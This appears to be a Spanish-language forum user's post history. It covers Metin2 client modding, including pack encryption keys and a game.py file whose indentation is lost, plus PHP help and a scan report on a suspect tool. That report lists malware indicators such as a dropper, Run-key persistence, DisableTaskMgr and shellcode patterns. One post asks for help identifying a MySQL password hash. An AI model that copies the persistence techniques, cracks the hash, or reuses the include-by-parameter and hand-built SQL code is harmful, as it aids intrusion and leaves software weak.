static DWORD s_adwEterPackKey[] ={45129401,92367215,681285731,1710201,};

static DWORD s_adwEterPackSecurityKey[] ={78952482,527348324,1632942,486274726,}

se supone que la primera es XTEA y la segunda es LZO pero no entiendo si esos valores son aleatorios o se generarn apartir de algo, me planteaba cambiarlos pero me encuentro con ese problema si alguno muy amable me pudiera explicar por mas que busco en google informacion no encuentro  :-\
#23
hola chicos

me dio por probar esta tools pero algo me causo curiosidad aqui esta el registro pero nose si es un falso positivo o hay un virus, ya le pase varios antivirus y no encontro nada


Information:
  Size: 3,89 MB - [It is advisable to cut the file]
  md5 Hash: B6113983ED77D6FE99BDEE461E7BE004
  EntryPoint: 0A4FE0
  SizeOfHeaders: 00000400
  SizeOfImage: 003DF000
  ImageBase: 00400000
  Characteristics: 0102
  Architecture: x86
  File Type: EXE
  Sections Number:7
  Subsystem: Windows GUI
  UAC Execution Level Manifest: asInvoker
  Compiler: Microsoft Visual Studio

Binder/Joiner/Crypter:
  Dropper code detected - 14,67 KB


Windows REG:
  software\microsoft\windows\currentversion\explorer\startmenu\startpanel

Windows REG (UNICODE):
  software\microsoft\windows\currentversion\explorer\accent
  software\microsoft\windows nt\currentversion\winlogon
  software\microsoft\windows\currentversion\explorer\advanced
  software\microsoft\windows\currentversion\explorer\startpage
  software\microsoft\windows\currentversion\policies\system
  software\microsoft\windows\currentversion\oobe
  software\microsoft\windows\currentversion\immersiveshell
  software\microsoft\windows\currentversion\explorer\accentcolorizediconabtest
  software\microsoft\windows\currentversion\parental controls
  software\microsoft\windows\currentversion\explorer\multitaskingview\allupview
  software\classes\local settings\
  software\microsoft\windows\currentversion\traynotify
  software\microsoft\windows\currentversion\explorer\controlpanel\namespace\
  software\microsoft\windows nt\currentversion\windows
  software\microsoft\windows\currentversion\explorer\notificationcustomization
  software\microsoft\windows\currentversion\explorer\advanced\delayedapps
  software\microsoft\windows\currentversion\explorer\logonstats
  software\policies\microsoft\windows\explorer
  software\microsoft\windows nt\currentversion\noimemodeimes
  software\microsoft\windows\currentversion\runonceex
  software\microsoft\windows\currentversion\control panel\cpls
  software\microsoft\windows nt\currentversion\windows,load
  software\microsoft\windows\currentversion\control panel\dont load
  software\microsoft\windows\currentversion\explorer\serialize
  software\microsoft\windows\currentversion\themes
  software\microsoft\windows\currentversion\systemprotecteduserdata
  software\microsoft\windows\currentversion\runonce
  software\microsoft\windows\currentversion\explorer\startupapproved
  software\microsoft\windows\currentversion\explorer
  software\microsoft\windows\currentversion\themes\personalize
  software\microsoft\windows\currentversion\settingsync\syncdata
  software\microsoft\windows\currentversion\settingsync
  software\microsoft\windows\currentversion\policies\explorer
  software\microsoft\windows\currentversion\immersiveshell\edgeui
  software\microsoft\windows\currentversion\search
  software\policies\microsoft\windows\onedrive
  software\microsoft\windows\currentversion\onedriveramps
  software\microsoft\windows\currentversion\oobe\telemetrycorrelation
  software\microsoft\windows\currentversion\explorer\taskband
  software\microsoft\windows\currentversion\pushnotifications\applications
  software\microsoft\windows\currentversion\diagnostics\performance\shell\responsemonitor
  software\microsoft\windows nt\currentversion\winlogon\alternateshells\availableshells
  software\microsoft\tablettip\1.7\
  software\microsoft\windows\currentversion\authentication\logonui\sessiondata
  software\microsoft\windows\currentversion\contentdeliverymanager
  software\microsoft\windows\currentversion\flightedfeatures
  software\microsoft\windows\currentversion\windowsupdate\updatediscoverability
  software\microsoft\windows\currentversion\oobe\stats
  software\microsoft\windows\currentversion\startmenu
  software\microsoft\alluserinstallagent
  software\microsoft\windows nt\currentversion\winlogon\alternateshells
  software\microsoft\windows\currentversion\explorer\fileexts
  software\microsoft\windows\currentversion\fileassociations
  software\microsoft\windows\shell\associations\urlassociations
  software\microsoft\windows\currentversion\useroobe
  software\microsoft\windows\currentversion\cloudexperiencehost
  software\microsoft\windows\currentversion\retaildemo\oobewrite
  software\microsoft\windows\currentversion\explorer\fileexts\%s
  software\microsoft\windows\shell\associations\urlassociations\%s
  software\microsoft\windows nt\currentversion\profilelist
  software\microsoft\windows\currentversion\run
  software\microsoft\windows\currentversion\policies\explorer\run
  software\classes\
  software\microsoft\windows\currentversion\thememanager
  software\microsoft\windows\currentversion\explorer\controlpanel
  software\microsoft\windows\currentversion\explorer\autoplayhandlers
  software\microsoft\windows\currentversion\control panel
  software\microsoft\windows\currentversion\explorer\notificationarea\promotedicon1
  software\microsoft\windows\currentversion\explorer\notificationarea\promotedicon2
  software\microsoft\windows\currentversion\immersiveshell\statestore
  software\microsoft\internet explorer\typedurls
  software\microsoft\windows\currentversion\explorer\typedpaths
  software\microsoft\windows\currentversion\explorer\runmru
  software\microsoft\windows\currentversion\explorer\doc find spec mru
  software\microsoft\windows\currentversion\explorer\comdlg32\opensavepidlmru
  software\microsoft\windows\currentversion\explorer\comdlg32\lastvisitedpidlmru
  software\microsoft\windows\currentversion\explorer\comdlg32\lastvisitedpidlmrulegacy
  software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder
  software\microsoft\ctf\consentux
  software\classes\clsid\{031e4825-7b94-4dc3-b131-e946b44c8dd5}
  software\microsoft\windows nt\currentversion\server
  software\microsoft\windows nt\currentversion\windows,run
  software\policies\microsoft\windowsstore
  software\microsoft\windows\currentversion\smden
  software\microsoft\windows\currentversion\explorer\tbden
  software\microsoft\windows\tablet pc
  software\microsoft\windows\currentversion\explorer\oemwc
  software\microsoft\windows\currentversion\explorer\wcden
  software\microsoft\windows\currentversion\explorer\applicationdestinations\
  software\clients
  software\microsoft\windows\currentversion\explorer\startpage\newshortcuts
  software\microsoft\windows\currentversion\openwith
  software\microsoft\windows\currentversion\explorer\appkey\%d
  software\microsoft\windows\currentversion\explorer\remote\%d
  software\microsoft\windows\dwm
  software\microsoft\windows\currentversion\explorer\appcontract
  software\microsoft\windows nt\currentversion\time zones
  software\microsoft\windows\currentversion\explorer\startmenu\colors
  software\microsoft\windows\currentversion\settingsync\groups\%s
  software\microsoft\windows\currentversion\appx\appxalluserstore\upgrade\%ls
  software\microsoft\windows\currentversion\updatediscoverability
  software\microsoft\windows\currentversion\appreadiness\%s
  software\microsoft\windows\currentversion\authentication\logonui\accesspage\camera
  software\microsoft\windows\currentversion\explorer\svden
  software\microsoft\provisioning\
  software\microsoft\provisioning\applaunchid
  software\microsoft\windows\currentversion\explorer\shellserviceobjects\{872f8dc8-dde4-43bd-ac7a-e3d9fe86ceac}
  software\microsoft\windows\currentversion\onedriveoptin
  software\microsoft\windows\currentversion\oobe\testhooks
  software\microsoft\windows\currentversion\settingsync\syncdata\bootstrap
  software\microsoft\windows nt\currentversion\usercpl
  software\microsoft\internet explorer\main
  software\microsoft\windows\currentversion\explorer\startpage\creativeplacement\creative%d
  software\microsoft\windows\currentversion\explorer\startpage\creativeplacement
  software\microsoft\windows\currentversion\explorer\controlpanel\namespace\%s
  software\microsoft\windows\currentversion\controls folder (wow64)
  software\microsoft\windows\currentversion\policies\explorer\searchextensions
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer - DisableTaskMgr
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System - DisableTaskMgr
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\Run

File Access:
  .textlp12explorer.exe
  .textlp07explorer.exe
  .textlp06explorer.exe
  .textlp01explorer.exe
  .textlp00explorer.exe
  explorer.exe

File Access (UNICODE):
  rundll32.exe
  %%windir%%\syswow64\rundll32.exe
  %%windir%%\system32\rundll32.exe
  oobe\firstlogonanim.exe
  provtool.exe
  runonce.exe
  b%systemroot%\system32\sndvol.exe
  calc.exe
  taskmgr.exe
  {d65231b0-b2f1-4857-a4ce-a8e7c6ea7d27}\calc.exe
  {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}\calc.exe
  {f38bf404-1d43-42f2-9305-67de0b28fc23}\explorer.exe
  %systemroot%\system32\rundll32.exe
  install.exe
  %systemroot%\system32\rundll32.exe
  @explorer.exe

Interests Words (UNICODE):
  outlook

Anti-VM/Sandbox/Debug Tricks (UNICODE):
  LabTools - taskmgr

URLs (UNICODE):
  http://schemas.microsoft.com/Search/2013/SettingContent

Payloads:
  Shellcode Byte Patterns

#24
PHP / que cifrado pyede ser este?
4 Junio 2016, 23:50 PM
hola vengo a solicitar de su ayuda que tipo de cifrado puede ser este *210088bd4fe29ce080dbb5d9737b9a6a454f46eb es de una contraseña de una tabla mysql
#25
hola, nuevamente por aqui pidiendo su colaboracion  ;-)
veran hace un tiempo descubri algo inusual en mi pc xD y no mejoraba pese a que formatee varia veces estoy casi seguro por el trafico inusual que he llegado a descubrir la verdad es que este tema es muy interesante pero me he topado un problema lastimozamente mis conocimientos son muy basicos y por mas que he buscado en google no encuentro nada que me pueda ayudar lo que estoy tratando de hacer es volcar el firmware de la tarjeta de red (inhalambrica / pci) lo que esta grabado en la eeprom para hacer un analisis haber si es que hay esta ese virus si alguno me puede ayudar

algun programa o como puedo extraer ese firmware o flash rom de la tarjeta
#26
hola, veran hace ya varios dias que estoy con esto un tipo malintencionadamente obtuvo acceso a mi pc el hecho es que le ha metido un virus q pese a que he formateado persiste la infeccion a ultimas me di cuenta que al formatear e instalar el windows sin la tarjeta inalambrica ya no se infectaba el pc conclui que de algna forma el firmware de esa tarjeta esta con ese virus quizas si me pudieran ayudar como podria reinstalar ese firmware de esa tarjeta; es la siguiente

ENLWI-G2 PCI 802.11g wireless adapter
#27
Desarrollo Web / como hago esto en una web?
17 Marzo 2016, 21:08 PM
hola a tod@s,
quizas esto sea mas de diseño pero depronto alguno me pueda dar alguna idea de como se hace xD quiero hacer una web con un estilo de fantasia algo asi http://vpx.pl/i/2014/03/31/Emerald-Free-KurlzDesign-ProjectPSD.jpg

me refiero es a esos como marcos que rodean las secciones de la web nose si me doy a entender como hago eso en photoshop o como se llaman ese tipo de imagenes para buscar mas excatamente en google xD saludos
#28
PHP / ayuda! pasar variable de .php a otro
3 Enero 2016, 20:37 PM
hola FEH, tengun un problema al pasar una variable de .php a otro quizas alguno me pueda ayudar, pasa lo siguente tengo este codigo, cuando quiero pasar una variable a un formulario por url me abre el formulario que tengo por default, este codigo lo uso para ocultar a extensión y para evitar injeccions sql

<?php
$includeDir ".".DIRECTORY_SEPARATOR."pagecpanel".DIRECTORY_SEPARATOR;
$includeDefault $includeDir."new_serie.php";
if(isset($_GET['p']) && !empty($_GET['p']))
{
$_GET['p'] = str_replace("\0"''$_GET['p']);
$includeFile basename(realpath($includeDir.$_GET['p'].".php"));
$includePath $includeDir.$includeFile;
if(!empty($includeFile) && file_exists($includePath)) 
{
include($includePath);
}
else 
{
include($includeDefault);
}

else 
{
include($includeDefault);
}
?>


----------
asi paso la variable al formulario
---------

<td><a href="?p=new_capitulo?id_s='.$rs['id_s'].'" title="agregar capitulo"><img class="icono" src="images/agre.ico"></a></td>
#29
PHP / [duda] campo formulario textarea?
2 Enero 2016, 16:04 PM
Hola, mientras diseñaba una web me ha surgido esta duda y ya he buscado pero no logro resolverla quizas alguno aqui me pueda ayudar  :laugh:
pasa lo siguiente, tengo este formulario.

El problema es que cuando escribo la descripcion en el campo sinopsis (textarea) bien se guarda en la base de datos normal, pero cuando compio un texto y lo pego hay nose porque pero NO se guarda alguna idea? xD

Código (php) [Seleccionar]
<?php

$titulo htmlentities(mysql_real_escape_string($_POST['titulo']));
$fecha htmlentities(mysql_real_escape_string($_POST['año']));
$genero htmlentities(mysql_real_escape_string($_POST['genero']));
$sinopsis htmlentities(mysql_real_escape_string($_POST['sinopsis']));

$sqlCmd "INSERT INTO XxxxXxX (titulo,fecha,genero,sinopsis) 
        VALUES ('
$titulo','$fecha','$genero','$sinopsis')";
        
$sqlQry mysql_query($sqlCmd,$sqlServ);
if($sqlQry){
echo 'exito';
}
else{
echo 'error';
}
?>

<div id="formulario">
<form class="menu_video" method="post" action="#">
<label>Titulo</label>
<input type="text" name="titulo" maxlength="35">
<label>Año (ej. 2015)</label>
<input type="text" name="año" maxlength="4">
<label>Genero</label>
<select name="genero">
<option>comedia
<option>accion
<option>terror
</select>
<label>Sinopsis</label>
<textarea name="sinopsis" rows=3 cols=40 maxlength="350"> </textarea>
<input type="submit" value="Guardar">
</form>
</div>


Mod: Temas sobre PHP van al subforo de PHP.
#30
hola, veran tengo un archivo .SO con unas funciones que quiero ver incluso modificar pero al ser este tipo de archivo nose como puedo descompilar para verlas? si alguno me pudiera ayudar  ;D
#31
hola, vengo quizas alguno me pueda ayudar, veran antes compilaba en visual studio 2008, pero la licencia caduco y no tenia archivos para instalar asi que decidi bajar la version (visual studio 2013) todo normal hasta el momento en que voy a compilar nose por que me salta este error

LINK : fatal error LNK1104: no se puede abrir el archivo 'd3d8.lib'


ya verifique que este esa libreria pero no la reconoce yal tratar de agregar una ruta (directorio vc++) aparece el mensaje 

Citarla opcion de edicion directorios vc++ esta desusada esta opcion esta ahora como hoja de propiedades etc..

la pregunta es que es una hoja de propiedades estoy bastante perdido si alguno me pudiera ayudar  ;D como se agrega eso ya busque en google y no encuentro nada, saludos
#32
PHP / [duda] de novato :)
31 Octubre 2015, 02:13 AM
hola, a todos

veran se que esto es de novatos, pero cuando se esta aprendiendo toca preguntar  :silbar:
tengo una gran duda y ya he buscado y no encuentro mucha explicacion basicamente tengo esta llamada funciona normal al hacer click se dirige a esa web

<a href="inc/chat.php">Chat</a>

pero aqui es donde tengo la duda por que encuentro otra llamada asi, cual es la diferencia entre una forma y otra

<a href="?s=chat">Inicio</a>

lo que quiero es que cuando se de click hay no redirija sino que se muestre en la misma pagina, pls una pequeña explicacion  :xD saludos

#33
hola,
como dice el titulo, tengo esa duda hace rato y no he encontrado mucha informacion al respecto, es posible cifrar el trafico dns, http etc en una red local, y en windows?

conocen algun programa? saludos
#34
Scripting / [ayuda] error en python
12 Octubre 2015, 05:43 AM
hola a tod@s,

vengo a pedir su ayuda, he estado editando un juego pero se me ha presentado un error basicamente cuando oprimo la tecla de movimiento (W) y el boton derecho del maus (movimiento de camara) al tiempo, se cierra el juego y salta el siguiente error:

1010 21:15:40900 :: SYSERR:   File "game.py", line 1338, in OnKeyUp

1010 21:15:40901 :: SYSERR: TypeError
1010 21:15:40951 :: SYSERR: :
1010 21:15:40951 :: SYSERR: 'NoneType' object has no attribute '__getitem__'
1010 21:15:40953 :: SYSERR:


si alguno fuera amable y me pudiera ayudar o explicandome por que pasa ese error para asi yo poder solucionarlo, saludos

game.py --------> la linea 1338 es esta "self.onClickKeyDict[key]()"

######## Developed by Serex for Metin2 Rage ##########

import os
import app
import dbg
import grp
import item
import background
import chr
import chrmgr
import player
import snd
import chat
import textTail
import event

import snd
import net
import effect
import wndMgr
import fly
import systemSetting
import quest
import guild
import skill
import messenger
import localeInfo
import constInfo
import exchange
import ime
import constInfo2

import ui
import uiAchievement
import uiCommon
import uiPhaseCurtain
import uiMapNameShower
import uiAffectShower
import uiPlayerGauge
import uiCharacter
import uiTarget
import uiTaskbar
import uiteleport

# PRIVATE_SHOP_PRICE_LIST
import uiPrivateShopBuilder
# END_OF_PRIVATE_SHOP_PRICE_LIST

import mouseModule
import consoleModule

import playerSettingModule
import interfaceModule

import musicInfo
import debugInfo
import stringCommander

from _weakref import proxy

# TEXTTAIL_LIVINGTIME_CONTROL
#if localeInfo.IsJAPAN():
# app.SetTextTailLivingTime(8.0)
# END_OF_TEXTTAIL_LIVINGTIME_CONTROL

# SCREENSHOT_CWDSAVE
SCREENSHOT_CWDSAVE = FALSE
SCREENSHOT_DIR = None

if localeInfo.IsEUROPE():
SCREENSHOT_CWDSAVE = TRUE

if localeInfo.IsCIBN10():
SCREENSHOT_CWDSAVE = FALSE
       SCREENSHOT_DIR = "YT2W"

cameraDistance = 1550.0
cameraPitch = 27.0
cameraRotation = 0.0
cameraHeight = 100.0

testAlignment = 0
BPisLodaded = 0
pet_gui_activado = 0

class GameWindow(ui.ScriptWindow):
def __init__(self, stream):
import uiauktionshaus
self.AHhaus = uiauktionshaus.AuktonshausMain()
ui.ScriptWindow.__init__(self, "GAME")
self.SetWindowName("game")
net.SetPhaseWindow(net.PHASE_WINDOW_GAME, self)
player.SetGameWindow(self)

self.quickSlotPageIndex = 0
self.lastPKModeSendedTime = 0
self.LastBoniSwitcherId = 0
self.pressNumber = None

self.guildWarQuestionDialog = None
self.interface = None
self.targetBoard = None
self.console = None
self.mapNameShower = None
self.affectShower = None
self.playerGauge = None
self.petInventoryWnd = None
self.boniSwitcherWnd = []
constInfo.BONI_SWITCHER_LOAD = FALSE
self.itemShopWnd = None
#import uiBoniSwitcher
#for i in xrange(constInfo.SWITCHER_COUNT):
#self.boniSwitcherWnd.append(uiBoniSwitcher.BoniSwitcherDialog(i))
#self.boniSwitcherWnd[i].SetChangeBonusSwitcherEvent(self.__BoniSwitcherShow)
#self.boniSwitcherWnd[i].GAMESetBoniSwitcherCheckEvent(self.__BoniSwitcherCheckEvent)

self.stream=stream
self.interface = interfaceModule.Interface()
self.interface.MakeInterface()
self.interface.SetOpenBoniSwitcherEvent(self.__BoniSwitcherShow)
self.interface.wndTaskBar.SetMallShowEvent(self.__ItemShopShow)
self.interface.ShowDefaultWindows()

self.curtain = uiPhaseCurtain.PhaseCurtain()
self.curtain.speed = 0.03
self.curtain.Hide()

self.targetBoard = uiTarget.TargetBoard()
self.targetBoard.SetWhisperEvent(ui.__mem_func__(self.interface.OpenWhisperDialog))
self.targetBoard.Hide()

self.console = consoleModule.ConsoleWindow()
self.console.BindGameClass(self)
self.console.SetConsoleSize(wndMgr.GetScreenWidth(), 200)
self.console.Hide()

self.mapNameShower = uiMapNameShower.MapNameShower()
self.affectShower = uiAffectShower.AffectShower()

self.playerGauge = uiPlayerGauge.PlayerGauge(self)
self.playerGauge.Hide()

self.__SetQuickSlotMode()

self.__ServerCommand_Build()
self.__ProcessPreservedServerCommand()
self.teleport = uiteleport.TeleportWindow()

def __del__(self):
player.SetGameWindow(0)
net.ClearPhaseWindow(net.PHASE_WINDOW_GAME, self)
ui.ScriptWindow.__del__(self)

def Open(self):
app.SetFrameSkip(1)

self.SetSize(wndMgr.GetScreenWidth(), wndMgr.GetScreenHeight())


#Menu
self.Activare_Menu = ui.Button()
self.Activare_Menu.SetPosition( (wndMgr.GetScreenWidth()-10) , (wndMgr.GetScreenHeight()/2-54) )
self.Activare_Menu.SetUpVisual("zeta/1_1.tga")
self.Activare_Menu.SetOverVisual("zeta/1_2.tga")
self.Activare_Menu.SetDownVisual("zeta/1_3.tga")
self.Activare_Menu.SetEvent(ui.__mem_func__(self.__menubg))
self.Activare_Menu.Show()

self.Dezactivare_Menu = ui.Button()
self.Dezactivare_Menu.SetPosition(wndMgr.GetScreenWidth()-60,wndMgr.GetScreenHeight()/2-54)
self.Dezactivare_Menu.SetUpVisual("zeta/2_1.tga")
self.Dezactivare_Menu.SetOverVisual("zeta/2_2.tga")
self.Dezactivare_Menu.SetDownVisual("zeta/2_3.tga")
self.Dezactivare_Menu.SetEvent(ui.__mem_func__(self.__menubg))
self.Dezactivare_Menu.Hide()

menu_bg = ui.AniImageBox()
menu_bg.AppendImage("zeta/fundal.tga")
self.menu_bg = menu_bg
self.menu_bg.SetPosition(wndMgr.GetScreenWidth()-50,wndMgr.GetScreenHeight()/2-91)
self.menu_bg.SetSize(50, 150)  
self.menu_bg.Hide()

self.Bonusuri = ui.Button()
self.Bonusuri.SetParent(self.menu_bg)
self.Bonusuri.SetPosition(9, 10)
self.Bonusuri.SetUpVisual("zeta/1.tga")
self.Bonusuri.SetOverVisual("zeta/2.tga")
self.Bonusuri.SetDownVisual("zeta/1.tga")
self.Bonusuri.SetEvent(ui.__mem_func__(self.__BonusPage))
self.Bonusuri.Show()

self.Switch = ui.Button()
self.Switch.SetParent(self.menu_bg)
self.Switch.SetPosition(9, 42)
self.Switch.SetUpVisual("zeta/3.tga")
self.Switch.SetOverVisual("zeta/4.tga")
self.Switch.SetDownVisual("zeta/3.tga")
self.Switch.SetEvent(ui.__mem_func__(self.__activare_bonus))
self.Switch.Show()

self.Depozit = ui.Button()
self.Depozit.SetParent(self.menu_bg)
self.Depozit.SetPosition(9, 74)
self.Depozit.SetUpVisual("zeta/5.tga")
self.Depozit.SetOverVisual("zeta/6.tga")
self.Depozit.SetDownVisual("zeta/5.tga")
self.Depozit.SetEvent(self.__activare_depozit)
self.Depozit.Show()

self.AntiExp = ui.Button()
self.AntiExp.SetParent(self.menu_bg)
self.AntiExp.SetPosition(9, 106)
self.AntiExp.SetUpVisual("zeta/7.tga")
self.AntiExp.SetOverVisual("zeta/8.tga")
self.AntiExp.SetDownVisual("zeta/7.tga")
self.AntiExp.SetEvent(self.__activare_antiexp)
self.AntiExp.Show()

self.Teleporter = ui.Button()
self.Teleporter.SetParent(self.menu_bg)
self.Teleporter.SetPosition(9, 138)
self.Teleporter.SetUpVisual("zeta/9.tga")
self.Teleporter.SetOverVisual("zeta/10.tga")
self.Teleporter.SetDownVisual("zeta/9.tga")
self.Teleporter.SetEvent(self.__activare_teleporter)
self.Teleporter.Show()
#Fin menu

self.quickSlotPageIndex = 0
self.PickingCharacterIndex = -1
self.PickingItemIndex = -1
self.consoleEnable = FALSE
self.isShowDebugInfo = FALSE
self.ShowNameFlag = FALSE

self.enableXMasBoom = FALSE
self.startTimeXMasBoom = 0.0
self.indexXMasBoom = 0

global cameraDistance, cameraPitch, cameraRotation, cameraHeight

app.SetCamera(cameraDistance, cameraPitch, cameraRotation, cameraHeight)

constInfo.SET_DEFAULT_CAMERA_MAX_DISTANCE()
constInfo.SET_DEFAULT_CHRNAME_COLOR()
constInfo.SET_DEFAULT_FOG_LEVEL()
constInfo.SET_DEFAULT_CONVERT_EMPIRE_LANGUAGE_ENABLE()
constInfo.SET_DEFAULT_USE_ITEM_WEAPON_TABLE_ATTACK_BONUS()
constInfo.SET_DEFAULT_USE_SKILL_EFFECT_ENABLE()

# TWO_HANDED_WEAPON_ATTACK_SPEED_UP
constInfo.SET_TWO_HANDED_WEAPON_ATT_SPEED_DECREASE_VALUE()
# END_OF_TWO_HANDED_WEAPON_ATTACK_SPEED_UP

import event
event.SetLeftTimeString(localeInfo.UI_LEFT_TIME)

textTail.EnablePKTitle(constInfo.PVPMODE_ENABLE)

if constInfo.PVPMODE_TEST_ENABLE:
self.testPKMode = ui.TextLine()
self.testPKMode.SetFontName(localeInfo.UI_DEF_FONT)
self.testPKMode.SetPosition(0, 15)
self.testPKMode.SetWindowHorizontalAlignCenter()
self.testPKMode.SetHorizontalAlignCenter()
self.testPKMode.SetFeather()
self.testPKMode.SetOutline()
self.testPKMode.Show()

self.testAlignment = ui.TextLine()
self.testAlignment.SetFontName(localeInfo.UI_DEF_FONT)
self.testAlignment.SetPosition(0, 35)
self.testAlignment.SetWindowHorizontalAlignCenter()
self.testAlignment.SetHorizontalAlignCenter()
self.testAlignment.SetFeather()
self.testAlignment.SetOutline()
self.testAlignment.Show()

self.__BuildKeyDict()
self.__BuildDebugInfo()

# PRIVATE_SHOP_PRICE_LIST
uiPrivateShopBuilder.Clear()
# END_OF_PRIVATE_SHOP_PRICE_LIST

# UNKNOWN_UPDATE
exchange.InitTrading()
# END_OF_UNKNOWN_UPDATE


## Sound
snd.SetMusicVolume(systemSetting.GetMusicVolume()*net.GetFieldMusicVolume())
snd.SetSoundVolume(systemSetting.GetSoundVolume())

netFieldMusicFileName = net.GetFieldMusicFileName()
if netFieldMusicFileName:
snd.FadeInMusic("BGM/" + netFieldMusicFileName)
elif musicInfo.fieldMusic != "":
snd.FadeInMusic("BGM/" + musicInfo.fieldMusic)

self.__SetQuickSlotMode()
self.__SelectQuickPage(self.quickSlotPageIndex)

self.SetFocus()
self.Show()
app.ShowCursor()

net.SendEnterGamePacket()

# START_GAME_ERROR_EXIT
try:
self.StartGame()
except:
import exception
exception.Abort("GameWindow.Open")
# END_OF_START_GAME_ERROR_EXIT

# NPC가 큐브시스템으로 만들 수 있는 아이템들의 목록을 캐싱
# ex) cubeInformation[20383] = [ {"rewordVNUM": 72723, "rewordCount": 1, "materialInfo": "101,1&102,2", "price": 999 }, ... ]
self.cubeInformation = {}
self.currentCubeNPC = 0

def Close(self):
self.Hide()
self.AHhaus.Destroy()
self.AHhaus = None

global cameraDistance, cameraPitch, cameraRotation, cameraHeight
(cameraDistance, cameraPitch, cameraRotation, cameraHeight) = app.GetCamera()

if musicInfo.fieldMusic != "":
snd.FadeOutMusic("BGM/"+ musicInfo.fieldMusic)

self.onPressKeyDict = None
self.onClickKeyDict = None

chat.Close()
self.menu_bg.Hide()
self.Dezactivare_Menu.Hide()
self.Activare_Menu.Hide()
snd.StopAllSound()
grp.InitScreenEffect()
chr.Destroy()
textTail.Clear()
quest.Clear()
background.Destroy()
guild.Destroy()
messenger.Destroy()
skill.ClearSkillData()
wndMgr.Unlock()
mouseModule.mouseController.DeattachObject()

if self.guildWarQuestionDialog:
self.guildWarQuestionDialog.Close()

self.guildNameBoard = None
self.partyRequestQuestionDialog = None
self.partyInviteQuestionDialog = None
self.guildInviteQuestionDialog = None
self.guildWarQuestionDialog = None
self.messengerAddFriendQuestion = None

# UNKNOWN_UPDATE
self.itemDropQuestionDialog = None
# END_OF_UNKNOWN_UPDATE

# QUEST_CONFIRM
self.confirmDialog = None
# END_OF_QUEST_CONFIRM

self.PrintCoord = None
self.FrameRate = None
self.Pitch = None
self.Splat = None
self.TextureNum = None
self.ObjectNum = None
self.ViewDistance = None
self.PrintMousePos = None

self.ClearDictionary()

self.playerGauge = None
self.mapNameShower = None
self.affectShower = None

if self.console:
self.console.BindGameClass(0)
self.console.Close()
self.console=None

if self.targetBoard:
self.targetBoard.Destroy()
self.targetBoard = None
if self.itemShopWnd:
self.itemShopWnd.Destroy()
self.itemShopWnd = None
if self.interface:
self.interface.HideAllWindows()
self.interface.Close()
self.interface=None

for i in xrange(len(self.boniSwitcherWnd)):
if self.boniSwitcherWnd[i]:
self.boniSwitcherWnd[i].Destroy()
self.boniSwitcherWnd[i] = None
if self.petInventoryWnd:
self.petInventoryWnd.Destroy()
self.petInventoryWnd = None
player.ClearSkillDict()
player.ResetCameraRotation()

self.KillFocus()
app.HideCursor()

print "---------------------------------------------------------------------------- CLOSE GAME WINDOW"

def __BuildKeyDict(self):
onPressKeyDict = {}

##PressKey 는 누르고 있는 동안 계속 적용되는 키이다.

## 숫자 단축키 퀵슬롯에 이용된다.(이후 숫자들도 퀵 슬롯용 예약)
## F12 는 클라 디버그용 키이므로 쓰지 않는 게 좋다.
onPressKeyDict[app.DIK_1] = lambda : self.__PressNumKey(1)
onPressKeyDict[app.DIK_2] = lambda : self.__PressNumKey(2)
onPressKeyDict[app.DIK_3] = lambda : self.__PressNumKey(3)
onPressKeyDict[app.DIK_4] = lambda : self.__PressNumKey(4)
onPressKeyDict[app.DIK_5] = lambda : self.__PressNumKey(5)
onPressKeyDict[app.DIK_6] = lambda : self.__PressNumKey(6)
onPressKeyDict[app.DIK_7] = lambda : self.__PressNumKey(7)
onPressKeyDict[app.DIK_8] = lambda : self.__PressNumKey(8)
onPressKeyDict[app.DIK_9] = lambda : self.__PressNumKey(9)
onPressKeyDict[app.DIK_F1] = lambda : self.__PressQuickSlot(4)
onPressKeyDict[app.DIK_F2] = lambda : self.__PressQuickSlot(5)
onPressKeyDict[app.DIK_F3] = lambda : self.__PressQuickSlot(6)
onPressKeyDict[app.DIK_F4] = lambda : self.__PressQuickSlot(7)
onPressKeyDict[app.DIK_F5] = lambda : self.BINARY_DragonSoulGiveQuilification()#packen
onPressKeyDict[app.DIK_F7] = lambda : self.OpenAHwithoutInfo()


onPressKeyDict[app.DIK_LALT] = lambda : self.ShowName()
onPressKeyDict[app.DIK_LCONTROL] = lambda : self.ShowMouseImage()
onPressKeyDict[app.DIK_SYSRQ] = lambda : self.SaveScreen()
onPressKeyDict[app.DIK_SPACE] = lambda : self.StartAttack()

#캐릭터 이동키
onPressKeyDict[app.DIK_UP] = lambda : self.MoveUp()
onPressKeyDict[app.DIK_DOWN] = lambda : self.MoveDown()
onPressKeyDict[app.DIK_LEFT] = lambda : self.MoveLeft()
onPressKeyDict[app.DIK_RIGHT] = lambda : self.MoveRight()
onPressKeyDict[app.DIK_W] = lambda : self.MoveUp()
onPressKeyDict[app.DIK_S] = lambda : self.MoveDown()
onPressKeyDict[app.DIK_A] = lambda : self.MoveLeft()
onPressKeyDict[app.DIK_D] = lambda : self.MoveRight()

onPressKeyDict[app.DIK_E] = lambda: app.RotateCamera(app.CAMERA_TO_POSITIVE)
onPressKeyDict[app.DIK_R] = lambda: app.ZoomCamera(app.CAMERA_TO_NEGATIVE)
#onPressKeyDict[app.DIK_F] = lambda: app.ZoomCamera(app.CAMERA_TO_POSITIVE)
onPressKeyDict[app.DIK_T] = lambda: app.PitchCamera(app.CAMERA_TO_NEGATIVE)
onPressKeyDict[app.DIK_G] = self.__PressGKey
onPressKeyDict[app.DIK_Q] = self.__PressQKey

onPressKeyDict[app.DIK_NUMPAD9] = lambda: app.MovieResetCamera()
onPressKeyDict[app.DIK_NUMPAD4] = lambda: app.MovieRotateCamera(app.CAMERA_TO_NEGATIVE)
onPressKeyDict[app.DIK_NUMPAD6] = lambda: app.MovieRotateCamera(app.CAMERA_TO_POSITIVE)
onPressKeyDict[app.DIK_PGUP] = lambda: app.MovieZoomCamera(app.CAMERA_TO_NEGATIVE)
onPressKeyDict[app.DIK_PGDN] = lambda: app.MovieZoomCamera(app.CAMERA_TO_POSITIVE)
